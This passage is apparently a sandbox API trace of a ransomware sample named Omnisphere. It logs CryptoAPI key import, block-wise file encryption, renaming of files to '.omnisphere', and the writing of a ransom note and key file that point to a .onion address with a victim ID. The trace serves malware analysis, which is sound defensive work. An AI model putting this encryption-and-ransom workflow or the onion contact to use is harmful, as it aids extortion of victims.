(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilyt.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.231] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.232] CloseHandle (hObject=0x3c0) returned 1 [0126.232] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.232] CloseHandle (hObject=0x288) returned 1 [0126.232] SetEndOfFile (hFile=0x28c) returned 1 [0126.233] FlushFileBuffers (hFile=0x28c) returned 1 [0126.236] CloseHandle (hObject=0x28c) returned 1 [0126.236] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ILyt.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.236] GetProcessHeap () returned 0x1600000 [0126.236] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.236] GetProcessHeap () returned 0x1600000 [0126.236] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1fc8 [0126.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1fc8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.237] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.237] GetProcessHeap () returned 0x1600000 [0126.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0128 [0126.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0128, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.237] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.237] GetProcessHeap () returned 0x1600000 [0126.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf300 [0126.237] PathCombineW (in: pszDest=0x16bf300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.237] GetProcessHeap () returned 0x1600000 [0126.237] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c38b0 [0126.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.237] WriteFile (in: hFile=0x28c, lpBuffer=0x16c38b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c38b0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.237] CloseHandle (hObject=0x28c) returned 1 [0126.237] GetProcessHeap () returned 0x1600000 [0126.237] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.237] GetProcessHeap () returned 0x1600000 [0126.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.238] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.238] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.238] CloseHandle (hObject=0x28c) returned 1 [0126.238] GetProcessHeap () returned 0x1600000 [0126.238] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.238] GetProcessHeap () returned 0x1600000 [0126.238] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c0c8 | out: hHeap=0x1600000) returned 1 [0126.238] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7eabb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ec7eabb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ec7eabb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0xd3, cFileName="JDQEwi6ArW.lnk", cAlternateFileName="JDQEWI~1.LNK")) returned 1 [0126.238] GetProcessHeap () returned 0x1600000 [0126.238] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656778 [0126.238] PathCombineW (in: pszDest=0x1656778, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="JDQEwi6ArW.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk" [0126.238] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jdqewi6arw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.239] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=822) returned 1 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.239] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] GetTickCount () returned 0x115f818 [0126.240] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0126.240] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.240] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.240] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.240] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.241] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x336, lpName=0x0) returned 0x288 [0126.241] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x336) returned 0x1480000 [0126.241] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669010) returned 1 [0126.241] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0126.241] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.243] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.243] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.243] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x336, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.244] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.244] GetProcessHeap () returned 0x1600000 [0126.244] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x16ca680 [0126.244] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jdqewi6arw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jdqewi6arw.lnk.omnisphere")) returned 1 [0126.244] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk.omnisphere.id" [0126.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JDQEwi6ArW.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jdqewi6arw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.245] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 